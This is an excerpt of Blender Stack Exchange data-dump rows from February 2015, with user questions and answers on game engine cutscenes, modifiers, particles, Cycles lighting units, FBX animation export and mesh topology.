  <row Id="26004" PostTypeId="1" AcceptedAnswerId="26008" CreationDate="2015-02-18T21:14:37.467" Score="-2" ViewCount="140" Body="&lt;p&gt;I noticed that when you create a new scene, you have the option to change it from, for example, game engine to render. I also noticed that you can add overlay scenes, which is how I do my menu for example. Would it be possible to have sort of a cut scene in the render engine? As in, you play the game in the game engine, then you reach a certain point and you cannot move as the scene is suspended, and the overlay scene in the render engine is shown. Is it possible to do this?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-02-19T03:46:55.277" Title="Blender render in GE?" Tags="&lt;rendering&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26006" PostTypeId="2" ParentId="25997" CreationDate="2015-02-18T21:43:27.493" Score="3" Body="&lt;p&gt;The head has an animation, so when you move it and save then reopen its position will be overridden by the animation you created &lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-18T21:43:27.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26007" PostTypeId="2" ParentId="26001" CreationDate="2015-02-19T03:16:07.747" Score="3" Body="&lt;p&gt;You can achieve the behavior that you want by parenting your empty with the recoil animation to the empty that tracks to the center of the screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CP9X8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;           &lt;strong&gt;Tracks to the center&lt;/strong&gt;                         &lt;strong&gt;Emits projectiles + plays recoil animation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When your projectile emitting empty is parented to the tracking empty, it will still track to the center of the screen, and your bullets will vary in direction depending on your animation on that empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is the effect you are trying to achieve&lt;img src=&quot;https://i.stack.imgur.com/H07O4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-03-05T17:02:53.070" LastActivityDate="2015-03-05T17:02:53.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26008" PostTypeId="2" ParentId="26004" CreationDate="2015-02-19T03:46:55.277" Score="4" Body="&lt;p&gt;The short answer is no that's not possible at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rendering engine selector is more or less just a toggle to change some UI displays. It it not linked to a particular scene in any real way. Besides, Blender Render is hardly capable of rendering a cut scene in realtime. Additionally, Blender Render is not available in blenderplayer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to display a cutscene in-game, create it in Blender Render or Cycles or whatever first, then render it out to a video file. Finally, in the game engine, play back that video using videotexture.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2015-02-19T03:46:55.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26009" PostTypeId="1" CreationDate="2015-02-19T03:47:30.500" Score="1" ViewCount="53" Body="&lt;p&gt;When I try to make faces from non manifold edges the edge of the model is darkens. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/baVJu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wdqme.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see the same affect on Unity 3D when I import .blender files. When I add a material to the model the affect doesnt change and the color of the corners stays darkened. How can I prevent this?&lt;/p&gt;&#xA;" OwnerUserId="11457" LastEditorUserId="12" LastEditDate="2015-02-19T03:59:37.833" LastActivityDate="2015-02-19T03:59:37.833" Title="Darkend area after Make Edge/Face" Tags="&lt;modeling&gt;&lt;faces&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2015-02-19T03:59:29.013" ContentLicense="CC BY-SA 3.0" />
  <row Id="26010" PostTypeId="2" ParentId="22892" CreationDate="2015-02-19T03:49:41.247" Score="1" Body="&lt;p&gt;I have found that if you select user preferences (if it crashes when you go into the one on the toolbar on the top, go into one of your panes and change it to user preferences) select addons and  activate the addon &quot;Export Game Engine Runtime&quot;, then from the file menu in the toolbar at the top, select export and select game engine runtime. I did this on 2.72 but it should still work on other versions. But the textures are in Gnu Publsic License, so don't publish it. &lt;/p&gt;&#xA;" OwnerUserId="12678" LastEditorUserId="3401" LastEditDate="2015-06-12T20:37:47.203" LastActivityDate="2015-06-12T20:37:47.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26011" PostTypeId="1" AcceptedAnswerId="26052" CreationDate="2015-02-19T04:19:30.783" Score="0" ViewCount="256" Body="&lt;p&gt;I managed to be able to control my player hand with mouse using mouse actuator.However, the hand move at the opposite direction i want. For example ,  when i move mouse down , the hand go up .And when i move my mouse around , the hand kind of turn around .&lt;img src=&quot;https://i.stack.imgur.com/cSrSJ.png&quot; alt=&quot;Twisted hand&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O57np.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is wrong with my actuator settings?&#xA;Here is the sample file:   &lt;a href=&quot;http://www.mediafire.com/download/1sz9taf3bd8j28u/samp.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.mediafire.com/download/1sz9taf3bd8j28u/samp.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11643" LastEditorUserId="11643" LastEditDate="2015-02-20T02:37:01.197" LastActivityDate="2015-02-20T03:59:03.700" Title="Blender Game Logic Actuator" Tags="&lt;game-engine&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26012" PostTypeId="1" AcceptedAnswerId="26013" CreationDate="2015-02-19T04:43:19.173" Score="2" ViewCount="469" Body="&lt;p&gt;I was following a tutorial that was talking about using proportional editing. I have proportional editing set to disable currently but whenever I try to drag a vertice or extrude an edge it keeps moving other parts of the drawing. Is there another setting or parameter I may have tweaked on accident that is doing this. Would love some help. Am completely stumped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ntOWz.jpg&quot; alt=&quot;really weird is when i try to extrude and it acts as though it&amp;#39;s dragging a new face and pulling the other faces.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IDTDJ.jpg&quot; alt=&quot;proportional editing is off yet it pulls the other vertices&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12679" LastActivityDate="2015-02-19T06:19:44.047" Title="Mesh seems to still be proportionally editing even though it is turned off" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26013" PostTypeId="2" ParentId="26012" CreationDate="2015-02-19T06:13:39.063" Score="4" Body="&lt;p&gt;You have the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Subsurf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Subsurf&lt;/em&gt; modifier&lt;/a&gt; on your object, that is why your model appears so smooth and you have set it to show the cage or its &lt;strong&gt;active effect&lt;/strong&gt; while editing. The modifier might have been accidentally added as the shortcut is simply &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;0 - 5&lt;/kbd&gt; for each smoothing level (higher number being more subdivisions). If you want to disable this, delete it from the object or if you want to stop the &quot;proportional editing effect&quot;, untick the triangle icon on the modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YlpnQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;When doing organic modeling, having the cage on is often useful to see the changes in realtime when tweaking loops or filling faces as opposed to tabbing in and out of edit mode and object mode to the the updates.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you have the cage enabled, it will show how the subsurf modifier is deforming the mesh as you work with it, if you are in the early stages of modeling and inexperienced, it's probably a good idea to keep this off until you have the general shape of your model in place and work with the flat &quot;boxy&quot; mesh. Reason being the modifier can produce exaggerated results that differ from when you look at the smoothed and unsmoothed model. The subsurf modifier will effectively &quot;shrink/round&quot; the mesh as it tries to create smoothed surfaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see what I mean, add a cube and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt; to add a subsurf modifier with 1 subdivison level. Play with the object with the cage on and then disable the modifier to see how it has changed the underlying structure of your object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GtD2P.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2015-02-19T06:19:44.047" LastActivityDate="2015-02-19T06:19:44.047" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26014" PostTypeId="1" AcceptedAnswerId="26015" CreationDate="2015-02-19T06:32:08.737" Score="6" ViewCount="3042" Body="&lt;p&gt;I have emitted instanced object as particle. I can hide emitter with Emitter checkbox but how can I hide source object? It is still visible in scene, but I want only instance. If I hide source object, also emitted object dissappear.&lt;/p&gt;&#xA;" OwnerUserId="1910" LastActivityDate="2015-02-19T16:04:14.680" Title="Hiding source of particle instancing" Tags="&lt;particles&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26015" PostTypeId="2" ParentId="26014" CreationDate="2015-02-19T06:35:14.467" Score="6" Body="&lt;p&gt;One way is by putting all the source objects on a separate layer (&lt;kbd&gt;M&lt;/kbd&gt;).&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-02-19T06:35:14.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26016" PostTypeId="2" ParentId="25911" CreationDate="2015-02-19T06:46:49.740" Score="-1" Body="&lt;p&gt;A rig that has both IK and FK controls will have two separate bones that may control your character, the setting to switch between each determines which one is in control at any given time. You also need to keyframe these settings to ensure the right bones are in control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't appear to have any keyframes on the IK/FK settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To keyframe a value you can right click and choose Insert Keyframe or press &lt;kbd&gt;I&lt;/kbd&gt; while the cursor is over the value. You may want to change the interpolation to constant in the graph editor or set keyframes on two adjacent frames to switch between the two.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-19T06:46:49.740" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26017" PostTypeId="2" ParentId="25920" CreationDate="2015-02-19T07:22:56.550" Score="2" Body="&lt;p&gt;The issue was related to the way that blender get Screen resolutions (returning integers). Due to this, a little threshold had to be setted internally.&#xA;Currently, a fix was summitted &lt;a href=&quot;https://developer.blender.org/rBee58d449455df9470c4a0a902056b8c2001128bf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.blender.org/rBee58d449455df9470c4a0a902056b8c2001128bf&lt;/a&gt; rounding to upper pixel and removing that little intern threshold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you download a dayly build &lt;a href=&quot;https://builder.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://builder.blender.org/download/&lt;/a&gt; and check that the issue has been fixed for you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note: For a better behaviour, to use a mouse sensor instead of a always sensor&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FZHhM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note2: it's known that with a setup with 2 monitors the mouse look doesn't work correctly. I'm investigating how to fix it.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="12681" LastEditorUserId="12681" LastEditDate="2015-02-20T07:25:05.017" LastActivityDate="2015-02-20T07:25:05.017" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26018" PostTypeId="2" ParentId="25914" CreationDate="2015-02-19T07:57:51.060" Score="1" Body="&lt;p&gt;You need to increase the bitrate settings in the encoding panel. The bitrate defines the amount of space that can be used for each frame, the lower the bitrate the more the data needs to be compressed to fit within that rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For comparison consider a jpeg image, at 90% quality it compresses to 189k and at 10% quality it compresses to 44k. The 90% image appears much cleaner than the 10% image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a video the bitrate has the same effect, if the bitrate says it can only use 50K for this part of the video it needs to compress at 10% quality leaving you with a poor quality video. By increasing the bitrate you are allowing the encoder to use a higher quality compression to get a better result. Also by running at 60fps you would expect to want a bitrate almost double a video running at 30fps. You will also want the maximum rate to be higher than the bitrate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An image at 1920x1080 using 3 bytes per pixel (RGB) takes 6MB of ram, times that by 60fps and you can easily see that the default bitrate of 6000kb/s will need to use some heavy compression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I am skipping the more detailed explanation, the basic concept is there, in reality many things like amount of the frame that changes and GOP size also plays a part in the final quality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find many opinions on what bitrate to use, at the end of the day it comes down to your video and what quality level looks good to you and how big you want your final video file.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-19T07:57:51.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26019" PostTypeId="2" ParentId="26014" CreationDate="2015-02-19T09:34:56.337" Score="6" Body="&lt;p&gt;Set the object material like this if you want the emitter linked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qHjRi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will render them with material for particles and transparent for the original object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I wish just unlinking the object from the scene would work as it works with bone shapes so it doesn't pollute the scene and also works with linking. But it doesn't :/&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-02-19T16:04:14.680" LastActivityDate="2015-02-19T16:04:14.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26020" PostTypeId="1" CreationDate="2015-02-19T09:51:47.987" Score="1" ViewCount="1375" Body="&lt;p&gt;I'm trying very basic stuff here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made a running animation on a armature rigged soldier model. The animation plays all fine in blender , but glitches out a horrible mess after export to UE4 as FBX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All IK bones (colored sticks) are orphans and have unchecked Deform option&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried this like 50 times in last 4 days with different animations, Some time some animations will work and some time they suddenly start to glitch if I make a change and some are just already glitched. However inside Blender They all work fine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Animation in blender&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JlQh4.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Aniation in UE4&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QZrCS.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Export settings for Mesh&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T76K6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Export settings for Animation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AbbHN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;observed points:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.The animation worked fine earlier when I exported it halfway in its making to test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.It looks like the action editor may be responsible as sometimes cleaning all keyframes and making a new animation from scratch fixes it but this is not feasible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.This mostly happens if I change any keyframe (like move a bone and replace the keyframe with that pose using I key)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;https://www.dropbox.com/s/5rd4cfqsqn7vm3d/anim.zip?dl=0/&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;download blender file and texture here&quot;&gt;Attached .blend and texture file&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="11454" LastEditorUserId="11454" LastEditDate="2015-02-19T09:57:58.500" LastActivityDate="2015-02-24T23:33:28.633" Title="Blender glitchy animation export fbx UE4" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26021" PostTypeId="1" AcceptedAnswerId="26030" CreationDate="2015-02-19T10:43:48.990" Score="3" ViewCount="254" Body="&lt;p&gt;I made simple scene with 1 sphere and 1 sun light. I set strength of sun lamp to 1.000 (emission node) and add diffuse BSDF surface with white(R1G1B1) to sphere. When I render this scene, sphere shows gray color(max 0.3) even at completly orthogonal with sun direction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think diffuse surface reflect light using lambertian, so surface shows white color at orthogonal point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's wrong in my scene?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I used Cycles renderer and cut off shadow)&lt;/p&gt;&#xA;" OwnerUserId="5659" LastActivityDate="2015-02-19T15:25:47.437" Title="Sun lamp and Diffuse surface is not lambertian?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26023" PostTypeId="1" CreationDate="2015-02-19T12:29:15.560" Score="11" ViewCount="3281" Body="&lt;p&gt;in Blender 3D, is there any function like 'Flow along surface' in Rhino 3D?&#xA;I know the 'move along curve'. but it's modifying a mesh according to curved line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to deform some meshes along irregualar terrain. I never used Rhino though, I think 'Flow along surface'in Rhino is what I'm looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I find that kind of thing in Blender?&lt;/p&gt;&#xA;" OwnerUserId="12684" LastActivityDate="2017-02-23T18:55:29.730" Title="in Blender 3D, is there any function like 'Flow along surface' in Rhino 3D?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26024" PostTypeId="2" ParentId="25963" CreationDate="2015-02-19T12:35:20.280" Score="1" Body="&lt;p&gt;I managed to fix it . Just remembered the solution. Enter edit mode and move the bone to your desire position for the origin. &lt;/p&gt;&#xA;" OwnerUserId="11643" LastActivityDate="2015-02-19T12:35:20.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26025" PostTypeId="1" AcceptedAnswerId="26054" CreationDate="2015-02-19T12:58:30.803" Score="2" ViewCount="125" Body="&lt;p&gt;It there any way to reorder particle 'number' along the active path ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iQVGu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fgu6C.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6426" LastActivityDate="2015-02-20T08:36:15.043" Title="How to reorder particle 'number' along a path?" Tags="&lt;particles&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26026" PostTypeId="1" CreationDate="2015-02-19T13:06:41.747" Score="1" ViewCount="517" Body="&lt;p&gt;I would like to create a box around an object with a python script !&#xA;So I write the script which is in this topic : &#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/14070/create-and-export-bounding-boxes-for-objects&quot;&gt;Create and export bounding boxes for objects&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However here's what I get with my object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WdlLZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was expecting something more like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cjbvC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to modify the script to get what I want&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you guys any ideas on this ?&lt;/p&gt;&#xA;" OwnerUserId="12685" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-02-19T13:17:08.380" Title="Difficulties in creating a box around an object with a python script" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="7" FavoriteCount="1" ClosedDate="2015-02-19T19:07:48.437" ContentLicense="CC BY-SA 3.0" />
  <row Id="26027" PostTypeId="2" ParentId="25985" CreationDate="2015-02-19T14:10:02.587" Score="4" Body="&lt;p&gt;The size of the leaves is too small that is what causing the leaves to not respond to the wind force to solve this :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;scale up all the objects involved in the simulation&lt;/li&gt;&#xA;&lt;li&gt;move the emitter further from the ground to give the leafs space to fall &lt;/li&gt;&#xA;&lt;li&gt;increase the size of the particles in the physics panel :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GegJ2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the result :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pKuMN.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-19T14:10:02.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26028" PostTypeId="1" CreationDate="2015-02-19T14:19:03.530" Score="1" ViewCount="59" Body="&lt;p&gt;Downloaded the newest version, 2.73a, twice.  Each time the download seems to go well, but when i start the program it opens only for a second then closes.  It does this repeatedly.  Using Win8.1.  Had no trouble with v2.72, i used it from when it first appeared until yesterday.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know what my problem is and how to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;..thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gmo&lt;/p&gt;&#xA;" OwnerUserId="12687" LastActivityDate="2015-02-19T14:19:03.530" Title="Blender 2.73a won't start" Tags="&lt;performance&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ClosedDate="2015-02-19T15:53:44.337" ContentLicense="CC BY-SA 3.0" />
  <row Id="26029" PostTypeId="2" ParentId="26025" CreationDate="2015-02-19T14:26:52.640" Score="1" Body="&lt;p&gt;The particle number is in order of emission - so to change the particle numbers means to change their emission timings and the look of particle animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically I believe its the index of each particle in the particle list. The list cannot be shuffled though (with python).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The particle index can be used in material Particle Info node, why don't you use the Location output instead to sort your particles? With some vector math you can also sort them along the path.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-02-19T14:26:52.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26030" PostTypeId="2" ParentId="26021" CreationDate="2015-02-19T15:25:47.437" Score="5" Body="&lt;p&gt;Assuming the sun light has size 0 and strength 1, the correct maximal value on the sphere is &lt;sup&gt;1&lt;/sup&gt;&amp;frasl;&lt;sub&gt;pi&lt;/sub&gt;, because of energy conservation and the units used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles uses physically based units for light strength, in this case &lt;sup&gt;Watts&lt;/sup&gt;&amp;frasl;&lt;sub&gt;m&lt;sup&gt;2&lt;/sup&gt;&lt;/sub&gt; for sun lights. Other renderers and game engines (typically ones that were not designed with physically based rendering in mind) often use a light strength that is implicitly multiplied by pi, which would give the maximal value of 1 you expect.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2015-02-19T15:25:47.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26031" PostTypeId="1" AcceptedAnswerId="26032" CreationDate="2015-02-19T15:27:09.123" Score="9" ViewCount="3602" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CZmuY.png&quot; alt=&quot;Is the topology in this image good for animation. And can I move on to professional level with this kind of modeling&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the topology in this image good for animation. And can I move on to professional level with this kind of modeling&lt;/p&gt;&#xA;" OwnerUserId="9818" LastEditorUserId="47" LastEditDate="2015-02-19T19:16:46.407" LastActivityDate="2015-02-19T19:16:46.407" Title="Is this face topology good for animation?" Tags="&lt;topology&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26032" PostTypeId="2" ParentId="26031" CreationDate="2015-02-19T15:53:35.280" Score="14" Body="&lt;p&gt;You should avoid tris and ngons in your geometry, even if its a game model (its ok for mobile game models though - depends on polycount)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TlV7k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The meshflow is ok, its not good around the nostrils. Here is a good edgeflow that I recommend, its from a Zbrush course:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SH8oi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt; Source: &lt;a href=&quot;http://blog.timothyeustace.com/2012/04/zbrush-workshops-with-ryan-kingslien.html&quot; rel=&quot;noreferrer&quot;&gt;Zbrush workshop with Ryan Kingslien&lt;/a&gt; &lt;/sup&gt;&#xA;&lt;sup&gt; Direct Source: &lt;a href=&quot;https://www.uartsy.com/search/node/Ryan%20Kingslien&quot; rel=&quot;noreferrer&quot;&gt;Workshops with Ryan Kingslien&lt;/a&gt; &lt;/sup&gt;&#xA;&lt;sup&gt; Probably the Anatomy Of The Face (no guarantee) &lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will know when you are ready for professional level, someone will just employ you. There are different levels among professionals too. Just practice and your confidence level will increase. You are basically ready when you know what you are doing.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-02-19T16:23:56.370" LastActivityDate="2015-02-19T16:23:56.370" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26033" PostTypeId="2" ParentId="26023" CreationDate="2015-02-19T16:01:23.690" Score="0" Body="&lt;p&gt;Try the shrink wrap modifier. It will &quot;shrink wrap&quot; a mesh around another object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a plane and subdivide it a few times for best results. Apply a shrink wrap modifier, and select the ground object for the &quot;Target&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the wiki for more information on this modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Shrinkwrap&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Shrinkwrap&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4960" LastEditorUserId="4960" LastEditDate="2015-02-19T20:52:07.080" LastActivityDate="2015-02-19T20:52:07.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26034" PostTypeId="1" AcceptedAnswerId="26041" CreationDate="2015-02-19T17:30:07.183" Score="2" ViewCount="161" Body="&lt;p&gt;I am wondering if possible to swap two curves in editor graphs? or to modify a curve to be constant =0 (no motion)?&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorDisplayName="user1853" LastEditDate="2015-02-19T18:59:05.060" LastActivityDate="2015-02-19T18:59:05.060" Title="Swap two curves in the editor graph" Tags="&lt;animation&gt;&lt;nla-editor&gt;&lt;graph-editor&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
